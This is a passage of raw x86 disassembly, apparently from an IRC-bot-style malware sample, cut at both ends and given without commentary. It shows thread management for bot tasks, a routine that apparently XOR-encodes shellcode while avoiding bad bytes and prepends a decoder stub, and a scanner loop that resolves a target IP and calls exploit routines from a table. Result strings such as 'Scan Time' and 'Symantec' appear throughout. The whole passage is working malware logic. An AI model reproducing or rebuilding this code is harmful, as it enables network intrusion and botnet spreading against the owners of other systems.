ebx, [ebp+10h] push edi mov edi, [ebp+14h] push edi push ebx call sub_40B5E8 cmp eax, [ebp+0Ch] pop ecx pop ecx ja short loc_40B61F cmp eax, 0FFFFh jbe short loc_40B623 loc_40B61F: ; CODE XREF: .text:0040B616j xor eax, eax jmp short loc_40B668 ; --------------------------------------------------------------------------- loc_40B623: ; CODE XREF: .text:0040B61Dj push esi push edi push ebx call sub_40B4F0 add eax, 101h push eax call _malloc add esp, 0Ch mov esi, eax push edi push ebx push edi push ebx call sub_40B4F0 pop ecx pop ecx push eax push esi call sub_40B510 push eax push esi push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40B687 push esi mov edi, eax call _free add esp, 24h mov eax, edi pop esi loc_40B668: ; CODE XREF: .text:0040B621j pop edi pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_40B66C proc near ; CODE XREF: sub_40B5E8+Ep ; sub_40B687+4Ap arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test cl, cl jnz short loc_40B675 inc ecx loc_40B675: ; CODE XREF: sub_40B66C+6j mov eax, 0FFh cmp eax, ecx sbb eax, eax and eax, 2 add eax, 15h add eax, ecx retn sub_40B66C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40B687(void *Dst,int,int,int) sub_40B687 proc near ; CODE XREF: .text:0040B655p var_4 = dword ptr -4 Dst = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx cmp byte ptr [ebp+arg_C], 0Ah jz short loc_40B6A3 cmp byte ptr [ebp+arg_C], 0Dh jz short loc_40B6A3 cmp byte ptr [ebp+arg_C], 5Ch jz short loc_40B6A3 cmp byte ptr [ebp+arg_C], 0 jnz short loc_40B6A6 loc_40B6A3: ; CODE XREF: sub_40B687+8j ; sub_40B687+Ej ... inc [ebp+arg_C] loc_40B6A6: ; CODE XREF: sub_40B687+1Aj push esi mov esi, 0FFh cmp [ebp+arg_C], esi jbe short loc_40B6CE mov eax, [ebp+arg_C] shr eax, 8 cmp al, 0Ah jz short loc_40B6C7 cmp al, 0Dh jz short loc_40B6C7 cmp al, 5Ch jz short loc_40B6C7 test al, al jnz short loc_40B6CE loc_40B6C7: ; CODE XREF: sub_40B687+32j ; sub_40B687+36j ... add [ebp+arg_C], 100h loc_40B6CE: ; CODE XREF: sub_40B687+28j ; sub_40B687+3Ej push [ebp+arg_C] call sub_40B66C cmp eax, [ebp+arg_4] pop ecx mov [ebp+var_4], eax ja short loc_40B6E6 cmp eax, 0FFFFh jbe short loc_40B6ED loc_40B6E6: ; CODE XREF: sub_40B687+56j xor eax, eax jmp loc_40B78B ; --------------------------------------------------------------------------- loc_40B6ED: ; CODE XREF: sub_40B687+5Dj mov ecx, [ebp+arg_C] push ebx mov bl, byte_4E4378 xor edx, edx push edi mov edi, [ebp+arg_8] test ecx, ecx jbe short loc_40B71D loc_40B701: ; CODE XREF: sub_40B687+94j mov al, [edx+edi] xor al, bl jz short loc_40B714 cmp al, 0Ah jz short loc_40B714 cmp al, 0Dh jz short loc_40B714 cmp al, 5Ch jnz short loc_40B718 loc_40B714: ; CODE XREF: sub_40B687+7Fj ; sub_40B687+83j ... inc bl xor edx, edx loc_40B718: ; CODE XREF: sub_40B687+8Bj inc edx cmp edx, ecx jb short loc_40B701 loc_40B71D: ; CODE XREF: sub_40B687+78j cmp ecx, esi mov byte_4E4378, bl ja short loc_40B749 push 15h ; Size push offset dword_4490E8 ; Src push [ebp+Dst] ; Dst mov byte_4490F5, cl mov byte_4490F9, bl call _memcpy add esp, 0Ch push 15h jmp short loc_40B76A ; --------------------------------------------------------------------------- loc_40B749: ; CODE XREF: sub_40B687+9Ej push 17h ; Size push offset dword_4490D0 ; Src push [ebp+Dst] ; Dst mov word_4490DE, cx mov byte_4490E3, bl call _memcpy add esp, 0Ch push 17h loc_40B76A: ; CODE XREF: sub_40B687+C0j xor eax, eax pop ecx cmp [ebp+arg_C], eax jbe short loc_40B786 mov edx, [ebp+Dst] lea esi, [ecx+edx] loc_40B778: ; CODE XREF: sub_40B687+FDj mov cl, [eax+edi] xor cl, bl mov [esi+eax], cl inc eax cmp eax, [ebp+arg_C] jb short loc_40B778 loc_40B786: ; CODE XREF: sub_40B687+E9j mov eax, [ebp+var_4] pop edi pop ebx loc_40B78B: ; CODE XREF: sub_40B687+61j pop esi leave retn sub_40B687 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_40B78E(char *Source,int,int) sub_40B78E proc near ; CODE XREF: WinMain(x,x,x,x)+378p ; WinMain(x,x,x,x)+3B7p ... Source = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_456F28 loc_40B796: ; CODE XREF: sub_40B78E+18j cmp byte ptr [eax], 0 jz short loc_40B7AA add eax, 234h inc edi cmp eax, offset dword_4E3F28 jl short loc_40B796 jmp short loc_40B7F5 ; --------------------------------------------------------------------------- loc_40B7AA: ; CODE XREF: sub_40B78E+Bj push esi mov esi, edi imul esi, 234h push 1FFh ; Count push [esp+0Ch+Source] ; Source lea eax, dword_456F28[esi] push eax ; Dest call _strncpy mov eax, [esp+14h+arg_4] add esp, 0Ch mov dword_457128[esi], eax and dword_45712C[esi], 0 mov eax, [esp+8+arg_8] and dword_457130[esi], 0 mov dword_457134[esi], eax and byte_457140[esi], 0 pop esi loc_40B7F5: ; CODE XREF: sub_40B78E+1Aj mov eax, edi pop edi retn sub_40B78E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B7F9 proc near ; DATA XREF: sub_401CC7+297Eo var_98 = dword ptr -98h Str = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd push [ebp+var_10] ; int mov dword ptr [eax+94h], 1 lea eax, [ebp+Str] push [ebp+var_C] ; int push eax ; Str push [ebp+var_98] ; int call sub_40B84B push [ebp+var_14] call sub_40BAAA add esp, 14h push 0 call ds:dword_4F63D4 ; ExitThread pop edi pop esi sub_40B7F9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40B84B(int,char *Str,int,int) sub_40B84B proc near ; CODE XREF: sub_40B7F9+38p Dest = byte ptr -200h arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 ; int push [ebp+arg_8] ; int push offset dword_4491C4 ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409D6C add esp, 14h xor edi, edi mov esi, offset dword_456F28 loc_40B875: ; CODE XREF: sub_40B84B+78j cmp byte ptr [esi], 0 jz short loc_40B8B6 cmp [ebp+arg_C], 0 jnz short loc_40B889 cmp dword ptr [esi+204h], 0 jnz short loc_40B8B6 loc_40B889: ; CODE XREF: sub_40B84B+33j push esi push edi lea eax, [ebp+Dest] push offset aD_S_0 ; "%d. %s" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409D6C add esp, 24h loc_40B8B6: ; CODE XREF: sub_40B84B+2Dj ; sub_40B84B+3Cj add esi, 234h inc edi cmp esi, offset dword_4E3F28 jl short loc_40B875 pop edi pop esi leave retn sub_40B84B endp ; =============== S U B R O U T I N E ======================================= sub_40B8C9 proc near ; CODE XREF: sub_401CC7+7CB3p ; sub_40B957+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_40B951 cmp esi, 400h jge short loc_40B951 imul esi, 234h push edi push ebx push dword_45713C[esi] lea edi, dword_45713C[esi] call ds:dword_4F63B4 ; TerminateThread cmp [edi], ebx jz short loc_40B901 push 1 pop ebp loc_40B901: ; CODE XREF: sub_40B8C9+33j mov [edi], ebx lea edi, dword_457130[esi] mov dword_457128[esi], ebx mov dword_45712C[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_40B922 push eax call sub_41A8E2 pop ecx loc_40B922: ; CODE XREF: sub_40B8C9+50j mov [edi], ebx lea edi, dword_457134[esi] mov byte ptr dword_456F28[esi], bl mov byte_457140[esi], bl push dword ptr [edi] call dword_4E42B8 ; closesocket lea esi, dword_457138[esi] mov [edi], ebx push dword ptr [esi] call dword_4E42B8 ; closesocket mov [esi], ebx pop edi loc_40B951: ; CODE XREF: sub_40B8C9+Dj ; sub_40B8C9+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_40B8C9 endp ; =============== S U B R O U T I N E ======================================= sub_40B957 proc near ; CODE XREF: sub_401317+18p ; WinMain(x,x,x,x):loc_4019D3p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_456F28 loc_40B963: ; CODE XREF: sub_40B957+2Aj cmp byte ptr [esi], 0 jz short loc_40B974 push edi call sub_40B8C9 test eax, eax pop ecx jz short loc_40B974 inc ebx loc_40B974: ; CODE XREF: sub_40B957+Fj ; sub_40B957+1Aj add esi, 234h inc edi cmp esi, offset dword_4E3F28 jl short loc_40B963 pop edi mov eax, ebx pop esi pop ebx retn sub_40B957 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B989 proc near ; CODE XREF: sub_401CC7+420Dp ; sub_401CC7+435Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_45712C loc_40B99D: ; CODE XREF: sub_40B989+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_40B9BF test edi, edi jle short loc_40B9B1 cmp [esi], edi jz short loc_40B9B1 cmp ebx, edi jnz short loc_40B9BF loc_40B9B1: ; CODE XREF: sub_40B989+1Ej ; sub_40B989+22j push ebx call sub_40B8C9 test eax, eax pop ecx jz short loc_40B9BF inc [ebp+var_4] loc_40B9BF: ; CODE XREF: sub_40B989+1Aj ; sub_40B989+26j ... add esi, 234h inc ebx cmp esi, offset dword_4E412C jl short loc_40B99D mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_40B989 endp ; =============== S U B R O U T I N E ======================================= sub_40B9D6 proc near ; CODE XREF: WinMain(x,x,x,x)+40Fp ; sub_401CC7+946p ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_457128 loc_40B9DD: ; CODE XREF: sub_40B9D6+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_40B9E6 inc eax loc_40B9E6: ; CODE XREF: sub_40B9D6+Dj add ecx, 234h cmp ecx, offset dword_4E4128 jl short loc_40B9DD retn sub_40B9D6 endp ; =============== S U B R O U T I N E ======================================= sub_40B9F5 proc near ; CODE XREF: sub_401CC7+23F3p arg_0 = dword ptr 4 xor eax, eax push esi xor edx, edx mov ecx, offset dword_457128 loc_40B9FF: ; CODE XREF: sub_40B9F5+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_40BA18 add ecx, 234h inc edx cmp ecx, offset dword_4E4128 jl short loc_40B9FF pop esi retn ; --------------------------------------------------------------------------- loc_40BA18: ; CODE XREF: sub_40B9F5+10j mov eax, edx pop esi retn sub_40B9F5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40BA1C(int,int,int,int,int,int,int,char *Str) sub_40BA1C proc near ; CODE XREF: sub_401CC7+122Dp ; sub_401CC7+124Bp ... Dest = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h Str = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+Str], eax jz short loc_40BA35 push [ebp+Str] ; Str call _atoi pop ecx loc_40BA35: ; CODE XREF: sub_40BA1C+Ej push eax push [ebp+arg_18] call sub_40B989 pop ecx test eax, eax pop ecx jle short loc_40BA61 push eax lea eax, [ebp+Dest] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)" push eax ; Dest call _sprintf add esp, 14h jmp short loc_40BA7B ; --------------------------------------------------------------------------- loc_40BA61: ; CODE XREF: sub_40BA1C+26j push [ebp+arg_14] lea eax, [ebp+Dest] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s No %s thread found." push eax ; Dest call _sprintf add esp, 10h loc_40BA7B: ; CODE XREF: sub_40BA1C+43j cmp [ebp+arg_C], 0 jnz short loc_40BA9B push 0 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_409D6C add esp, 14h loc_40BA9B: ; CODE XREF: sub_40BA1C+63j lea eax, [ebp+Dest] push eax call sub_415C77 pop ecx leave retn sub_40BA1C endp ; =============== S U B R O U T I N E ======================================= sub_40BAAA proc near ; CODE XREF: sub_4019E7+159p ; sub_40B7F9+40p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov dword_45713C[eax], ecx mov dword_457128[eax], ecx mov dword_45712C[eax], ecx mov dword_457130[eax], ecx mov dword_457134[eax], ecx mov dword_457138[eax], ecx mov byte ptr dword_456F28[eax], cl mov byte_457140[eax], cl retn sub_40BAAA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BAE7 proc near ; CODE XREF: sub_401CC7+7F34p ; sub_40BC15+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push 1 pop eax loc_40BAF1: ; CODE XREF: sub_40BAE7+68j mov cl, [esi] test cl, cl jz short loc_40BB51 cmp eax, 1 jnz short loc_40BB51 mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_40BB51 cmp cl, 2Ah jz short loc_40BB38 cmp cl, 3Fh jz short loc_40BB1B cmp cl, 5Bh jz short loc_40BB20 xor eax, eax cmp cl, dl setz al loc_40BB1B: ; CODE XREF: sub_40BAE7+26j inc [ebp+arg_4] jmp short loc_40BB4B ; --------------------------------------------------------------------------- loc_40BB20: ; CODE XREF: sub_40BAE7+2Bj lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_40BB7D mov esi, [ebp+arg_0] pop ecx pop ecx jmp short loc_40BB4B ; --------------------------------------------------------------------------- loc_40BB38: ; CODE XREF: sub_40BAE7+21j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_40BC15 mov esi, [ebp+arg_0] pop ecx pop ecx dec esi loc_40BB4B: ; CODE XREF: sub_40BAE7+37j ; sub_40BAE7+4Fj inc esi mov [ebp+arg_0], esi jmp short loc_40BAF1 ; --------------------------------------------------------------------------- loc_40BB51: ; CODE XREF: sub_40BAE7+Ej ; sub_40BAE7+13j ... cmp byte ptr [esi], 2Ah jnz short loc_40BB61 cmp eax, 1 jnz short loc_40BB78 inc esi mov [ebp+arg_0], esi jmp short loc_40BB51 ; --------------------------------------------------------------------------- loc_40BB61: ; CODE XREF: sub_40BAE7+6Dj cmp eax, 1 jnz short loc_40BB78 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_40BB78 cmp byte ptr [esi], 0 jnz short loc_40BB78 push 1 pop eax jmp short loc_40BB7A ; --------------------------------------------------------------------------- loc_40BB78: ; CODE XREF: sub_40BAE7+72j ; sub_40BAE7+7Dj ... xor eax, eax loc_40BB7A: ; CODE XREF: sub_40BAE7+8Fj pop esi pop ebp retn sub_40BAE7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BB7D proc near ; CODE XREF: sub_40BAE7+45p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi push 1 mov ecx, [edx] and [ebp+var_8], edi pop eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_40BB9E inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_40BB9E: ; CODE XREF: sub_40BB7D+19j push ebx push esi loc_40BBA0: ; CODE XREF: sub_40BB7D+7Bj mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_40BBAE cmp [ebp+var_4], eax jnz short loc_40BBFA loc_40BBAE: ; CODE XREF: sub_40BB7D+2Aj test edi, edi jnz short loc_40BBEF cmp bl, 2Dh jnz short loc_40BBE3 mov al, [ecx+1] lea esi, [ecx+1] mov cl, [ecx-1] cmp cl, al jge short loc_40BBE3 cmp al, 5Dh jz short loc_40BBE3 cmp [ebp+var_4], edi jnz short loc_40BBE3 mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_40BBEF cmp bl, al jg short loc_40BBEF push 1 mov [edx], esi pop edi jmp short loc_40BBEF ; --------------------------------------------------------------------------- loc_40BBE3: ; CODE XREF: sub_40BB7D+38j ; sub_40BB7D+45j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_40BBEF push 1 pop edi loc_40BBEF: ; CODE XREF: sub_40BB7D+33j ; sub_40BB7D+59j ... inc dword ptr [edx] and [ebp+var_4], 0 push 1 pop eax jmp short loc_40BBA0 ; --------------------------------------------------------------------------- loc_40BBFA: ; CODE XREF: sub_40BB7D+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_40BC07 mov ecx, eax sub ecx, edi mov edi, ecx loc_40BC07: ; CODE XREF: sub_40BB7D+82j cmp edi, eax jnz short loc_40BC10 mov eax, [ebp+arg_4] inc dword ptr [eax] loc_40BC10: ; CODE XREF: sub_40BB7D+8Cj mov eax, edi pop edi leave retn sub_40BB7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BC15 proc near ; CODE XREF: sub_40BAE7+59p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] xor ebx, ebx loc_40BC31: ; CODE XREF: sub_40BC15+3Aj cmp [eax], bl jz short loc_40BC51 mov cl, [ecx] cmp cl, 3Fh jz short loc_40BC46 cmp cl, 2Ah jnz short loc_40BC51 cmp cl, 3Fh jnz short loc_40BC49 loc_40BC46: ; CODE XREF: sub_40BC15+25j inc eax mov [edi], eax loc_40BC49: ; CODE XREF: sub_40BC15+2Fj inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] jmp short loc_40BC31 ; --------------------------------------------------------------------------- loc_40BC51: ; CODE XREF: sub_40BC15+1Ej ; sub_40BC15+2Aj ... mov eax, [esi] cmp byte ptr [eax], 2Ah jnz short loc_40BC5C inc dword ptr [esi] jmp short loc_40BC51 ; --------------------------------------------------------------------------- loc_40BC5C: ; CODE XREF: sub_40BC15+41j mov eax, [edi] mov cl, [eax] cmp cl, bl jnz short loc_40BC7D mov edx, [esi] cmp [edx], bl jz short loc_40BC6E xor eax, eax jmp short loc_40BCDD ; --------------------------------------------------------------------------- loc_40BC6E: ; CODE XREF: sub_40BC15+53j cmp cl, bl jnz short loc_40BC7D mov ecx, [esi] cmp [ecx], bl jnz short loc_40BC7D push 1 pop eax jmp short loc_40BCDD ; --------------------------------------------------------------------------- loc_40BC7D: ; CODE XREF: sub_40BC15+4Dj ; sub_40BC15+5Bj ... push eax push dword ptr [esi] call sub_40BAE7 pop ecx test eax, eax pop ecx jnz short loc_40BCC7 loc_40BC8B: ; CODE XREF: sub_40BC15+B0j inc dword ptr [edi] mov eax, [edi] loc_40BC8F: ; CODE XREF: sub_40BC15+90j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jz short loc_40BCA7 cmp cl, 5Bh jz short loc_40BCA7 cmp dl, bl jz short loc_40BCA7 inc eax mov [edi], eax jmp short loc_40BC8F ; --------------------------------------------------------------------------- loc_40BCA7: ; CODE XREF: sub_40BC15+82j ; sub_40BC15+87j ... mov eax, [edi] cmp [eax], bl jz short loc_40BCBE push eax push dword ptr [esi] call sub_40BAE7 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40BCC3 ; --------------------------------------------------------------------------- loc_40BCBE: ; CODE XREF: sub_40BC15+96j mov [ebp+var_4], ebx xor eax, eax loc_40BCC3: ; CODE XREF: sub_40BC15+A7j cmp eax, ebx jnz short loc_40BC8B loc_40BCC7: ; CODE XREF: sub_40BC15+74j mov eax, [edi] cmp [eax], bl jnz short loc_40BCDA mov eax, [esi] cmp [eax], bl jnz short loc_40BCDA mov [ebp+var_4], 1 loc_40BCDA: ; CODE XREF: sub_40BC15+B6j ; sub_40BC15+BCj mov eax, [ebp+var_4] loc_40BCDD: ; CODE XREF: sub_40BC15+57j ; sub_40BC15+66j pop edi pop esi pop ebx leave retn sub_40BC15 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40BCE2(int,char *Str,int) sub_40BCE2 proc near ; CODE XREF: sub_401CC7+2AEAp Source = byte ptr -400h Dest = byte ptr -200h arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+Dest] push offset asc_4495D8 ; "-" push eax ; Dest xor ebx, ebx call _sprintf cmp dword_449248, ebx pop ecx pop ecx mov edi, 200h jz short loc_40BD54 push esi mov esi, offset dword_449250 loc_40BD15: ; CODE XREF: sub_40BCE2+6Fj mov eax, [esi] test eax, eax jbe short loc_40BD4A add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+Source] push offset asc_4495F8 ; " " push eax ; Dest call _sprintf lea eax, [ebp+Source] push edi ; Count push eax ; Source lea eax, [ebp+Dest] push eax ; Dest call _strncat add esp, 1Ch loc_40BD4A: ; CODE XREF: sub_40BCE2+37j add esi, 40h cmp dword ptr [esi-8], 0 jnz short loc_40BD15 pop esi loc_40BD54: ; CODE XREF: sub_40BCE2+2Bj push dword_4E3F2C call sub_41B7A7 pop ecx push eax push ebx lea eax, [ebp+Source] push offset aTotalDInS_ ; " Total: %d in %s." push eax ; Dest call _sprintf lea eax, [ebp+Source] push edi ; Count push eax ; Source lea eax, [ebp+Dest] push eax ; Dest call _strncat push 0 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409D6C lea eax, [ebp+Dest] push eax call sub_415C77 add esp, 34h pop edi pop ebx leave retn sub_40BCE2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40BDB1(int,char *Str,int) sub_40BDB1 proc near ; CODE XREF: sub_401CC7+2AD4p Dest = byte ptr -200h arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h mov eax, dword_4E6D40 mov ecx, dword_4E6D3C push esi push dword_4E3F2C lea esi, [ecx+eax] call sub_41B7A7 pop ecx push eax push esi push dword_4E6D40 lea eax, [ebp+Dest] push dword_4E6D3C push offset asc_449618 ; "-" push eax ; Dest call _sprintf push 0 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409D6C lea eax, [ebp+Dest] push eax call sub_415C77 add esp, 30h pop esi leave retn sub_40BDB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40BE1D(int,char *Str,int) sub_40BE1D proc near ; CODE XREF: sub_401CC7+2ABEp Dest = byte ptr -200h arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push dword_4E3F2C call sub_41B7A7 pop ecx push eax lea eax, [ebp+Dest] push dword_4E6F9C push offset asc_449660 ; "-" push eax ; Dest call _sprintf push 0 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409D6C lea eax, [ebp+Dest] push eax call sub_415C77 add esp, 28h leave retn sub_40BE1D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40BE72(int,char *Str,int) sub_40BE72 proc near ; CODE XREF: sub_401CC7+2AA8p Source = byte ptr -1000h Dest = byte ptr -800h arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 1000h call __alloca_probe push edi lea eax, [ebp+Dest] push offset asc_44968C ; "-" push eax ; Dest call _sprintf cmp dword_449248, 0 pop ecx pop ecx mov edi, 800h jz short loc_40BEDE push esi mov esi, offset aSymantec ; "Symantec" loc_40BEA7: ; CODE XREF: sub_40BE72+69j lea eax, [esi-0Ah] push eax push esi lea eax, [ebp+Source] push offset asc_4496A8 ; " " push eax ; Dest call _sprintf lea eax, [ebp+Source] push edi ; Count push eax ; Source lea eax, [ebp+Dest] push eax ; Dest call _strncat add esi, 40h add esp, 1Ch cmp dword ptr [esi+1Eh], 0 jnz short loc_40BEA7 pop esi loc_40BEDE: ; CODE XREF: sub_40BE72+2Dj push dword_4E3F2C call sub_41B7A7 pop ecx push eax lea eax, [ebp+Source] push offset aScanTimeS_ ; " Scan Time: %s." push eax ; Dest call _sprintf lea eax, [ebp+Source] push edi ; Count push eax ; Source lea eax, [ebp+Dest] push eax ; Dest call _strncat push 0 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409D6C lea eax, [ebp+Dest] push eax call sub_415C77 add esp, 30h pop edi leave retn sub_40BE72 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BF39 proc near ; DATA XREF: sub_401CC7+30F5o Dest = byte ptr -3F0h var_1F0 = dword ptr -1F0h var_1EC = byte ptr -1ECh var_1DC = byte ptr -1DCh var_15C = byte ptr -15Ch var_150 = dword ptr -150h var_14C = dword ptr -14Ch var_148 = dword ptr -148h var_140 = dword ptr -140h var_13C = dword ptr -13Ch Format = byte ptr -134h Str = byte ptr -124h var_A4 = byte ptr -0A4h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3F0h mov eax, [ebp+arg_0] push ebx push esi push edi push 4Bh mov esi, eax pop ecx lea edi, [ebp+Format] rep movsd mov dword ptr [eax+128h], 1 lea eax, [ebp+Format] push eax call dword_4E4260 ; inet_addr xor edi, edi mov [ebp+var_8], eax cmp dword_449248, edi mov [ebp+var_4], edi mov [ebp+arg_0], edi jz loc_40C09B mov ebx, offset dword_449248 mov eax, ebx loc_40BF8A: ; CODE XREF: sub_40BF39+15Cj push [ebp+var_1C] push dword ptr [eax] push [ebp+var_8] call sub_40C71F add esp, 0Ch cmp eax, 1 jnz loc_40C08B push dword ptr [ebx] lea esi, [ebx-28h] lea eax, [ebp+Format] push eax lea eax, [esi+0Ah] push eax lea eax, [ebp+Dest] push offset asc_4496C8 ; "-" push eax ; Dest call _sprintf push edi ; int lea eax, [ebp+Dest] push [ebp+var_14] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_24] ; int call sub_409D6C lea eax, [ebp+Dest] push eax call sub_415C77 add esp, 2Ch lea eax, [ebp+Format] push eax ; Format lea eax, [ebp+var_1EC] push eax ; Dest call _sprintf pop ecx lea eax, [ebp+var_15C] pop ecx push esi ; Format push eax ; Dest call _sprintf cmp [ebp+var_A4], 0 pop ecx pop ecx lea eax, [ebp+var_A4] jnz short loc_40C026 lea eax, [ebp+Str] loc_40C026: ; CODE XREF: sub_40BF39+E5j push eax ; Format lea eax, [ebp+var_1DC] push eax ; Dest call _sprintf mov eax, [ebp+var_24] pop ecx mov [ebp+var_1F0], eax mov eax, [ebp+var_14] mov [ebp+var_140], eax mov eax, [ebp+var_10] pop ecx mov [ebp+var_13C], eax mov eax, [ebx] sub esp, 0BCh mov [ebp+var_150], eax mov eax, [ebp+var_18] push 2Fh mov [ebp+var_14C], eax mov eax, [ebp+arg_0] pop ecx lea esi, [ebp+var_1F0] mov edi, esp mov [ebp+var_148], eax rep movsd call dword ptr [ebx+4] add esp, 0BCh inc [ebp+var_4] xor edi, edi loc_40C08B: ; CODE XREF: sub_40BF39+64j inc [ebp+arg_0] add ebx, 40h mov eax, ebx cmp [ebx], edi jnz loc_40BF8A loc_40C09B: ; CODE XREF: sub_40BF39+44j push [ebp+var_4] lea eax, [ebp+Format] push eax lea eax, [ebp+Dest] push offset asc_4496F8 ; "-" push eax ; Dest call _sprintf push edi ; int lea eax, [ebp+Dest] push [ebp+var_14] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_24] ; int call sub_409D6C lea eax, [ebp+Dest] push eax call sub_415C77 push [ebp+var_18] call sub_40BAAA add esp, 2Ch push edi call ds:dword_4F63D4 ; ExitThread sub_40BF39 endp ; sp-analysis failed ; =============== S U B R O U T I N E 